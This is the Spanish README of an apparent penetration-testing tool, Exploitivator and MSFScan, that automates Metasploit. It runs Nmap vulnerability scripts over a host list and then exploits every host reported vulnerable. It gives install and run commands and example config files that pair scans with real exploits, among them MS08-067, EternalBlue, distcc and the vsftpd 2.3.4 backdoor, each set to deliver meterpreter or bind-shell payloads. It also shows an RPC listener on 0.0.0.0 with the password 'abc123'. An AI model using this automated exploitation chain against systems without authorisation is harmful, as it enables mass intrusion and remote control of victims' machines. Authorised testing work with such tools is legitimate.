
Automatiza el escaneo y la explotación de Metasploit
V2.0 - modificado para usar Python 3
Esto solo ha sido probado en Kali.
Depende del módulo pymetasploit3 para Python, descrito en detalle aquí: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Instale los paquetes necesarios de Kali y la gema PostgreSQL para Ruby:
apt-get install postgresql libpq-dev git-core
gem install pg
Instale la versión actual del módulo pymetasploit3 de Python 3:
pip3 install pymetasploit3
Antes de ejecutar cualquiera de los scripts, cargue msfconsole e inicie el servicio MSGRPC.
MSGRPC se puede iniciar con msfrpcd en Metasploit de la siguiente manera:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
Los resultados de los escaneos y/o explotación aparecerán en la consola de Metasploit y en los archivos de salida (msf_scan_output.txt y exploitivator_output.txt).
Use MSFScan para ejecutar múltiples escaneos de Metasploit contra un grupo de hosts destino. Use Exploitivator para ejecutar escaneos de scripts de Nmap contra un grupo de hosts destino y explotar automáticamente cualquier host reportado como vulnerable.
Uso en línea de comandos:
Ejemplos: La aplicación se puede ejecutar de la siguiente manera, donde '10.128.108.178' es la dirección IP de la máquina atacante, 'hosts.txt' es una lista de hosts destino, 'msf' es el nombre de usuario de Metasploit Postgres y 'abc123' es la contraseña de Metasploit Postgres:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
Uso en línea de comandos:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
Ejemplos: La aplicación se puede ejecutar de la siguiente manera, donde 'hosts.txt' es una lista de hosts destino, 'msf' es el nombre de usuario de Metasploit Postgres y 'abc123' es la contraseña de Metasploit Postgres:
./msf_scan.py hosts.txt msf abc123
Para ejecutar con 'hosts.txt' como lista de hosts destino, usando el nombre de usuario predeterminado de Metasploit Postgres del script (msf) y la contraseña predeterminada de Metasploit Postgres del script (abc123):
./msf_scan.py hosts.txt
Ambos scripts dependen de archivos de configuración para proporcionar detalles de los escaneos y ataques requeridos de Nmap y Metasploit.
El script utiliza un archivo de configuración con el nombre 'scan_types.cfg'. Este contiene una lista de rutas para los escaneos de Metasploit que se ejecutarán contra los objetivos. p. ej.:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
Este script utiliza dos archivos de configuración (exploitivator_scan.cfg y exploitivator.cfg). Uno para especificar escaneos y parámetros de Nmap (exploitivator_scan.cfg), y otro para especificar payloads y parámetros de Metasploit (exploitivator.cfg). Estos usan '##' como separador y tienen los siguientes formatos.
exploitivator_scan.cfg:
[Label]##[Nmap command line parameters]##[Nmap command line parameters for file output]##[Optional - grep command to be used if Nmap's greppable output is being used]
En el formato anterior:
1) La primera sección es una etiqueta que vincula el escaneo con el exploit
2) La segunda sección es la parte de la línea de comandos de Nmap que especifica detalles del tipo de escaneo a ejecutar, como puerto y script
3) La tercera sección es la parte de la línea de comandos de Nmap que define el archivo de salida de Nmap (Exploitivator maneja salida XML o greppable de Nmap)
4) La cuarta sección opcional es el comando grep que desea usar para identificar un objetivo vulnerable dentro de un archivo '.gnmap'
A continuación se muestra un ejemplo del contenido del archivo:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[Label]##[Metasploit exploit path]##[Optional - Metasploit payload details]
A continuación se muestra un ejemplo del contenido del archivo:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
Iniciar y conectar a MSGRPC: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Configurar RHOSTS para usar un archivo en lugar de un rango: http://travisaltman.com/metasploit-set-rhosts-file/